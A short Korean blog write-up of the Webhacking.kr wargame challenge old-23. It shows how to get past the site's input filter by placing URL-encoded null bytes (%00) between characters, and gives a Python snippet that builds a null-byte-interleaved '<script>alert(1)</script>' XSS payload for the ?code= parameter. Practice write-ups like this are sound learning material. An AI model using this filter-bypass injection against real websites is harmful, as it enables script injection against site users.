[Webhacking.kr] old-23

Alexandria·2024년 2월 29일

Wargame Webhacking.kr

목록 보기
23/69
post-thumbnail

1. Description

2. Write-Up

뭔 놈의 필터링이 있는지 거의 모든 2글자 이상의 데이터를 넣으면 no hack이라고 나온다.

하지만 글자 사이에 %00(NULL을 URL encoding한 값)을 넣으면 출력된다.

inject해야 하는 데이터를 만들어보자.

target  = '<script>alert(1);</script>'
code    = ''
for c in target: code += c + '%00'
print(code)

[Output]
<%00s%00c%00r%00i%00p%00t%00>%00a%00l%00e%00r%00t%00(%001%00)%00;%00<%00/%00s%00c%00r%00i%00p%00t%00>%00

?code=뒤에 직접 집어넣으면 점수를 획득할 수 있다.

profile
IT 도서관

0개의 댓글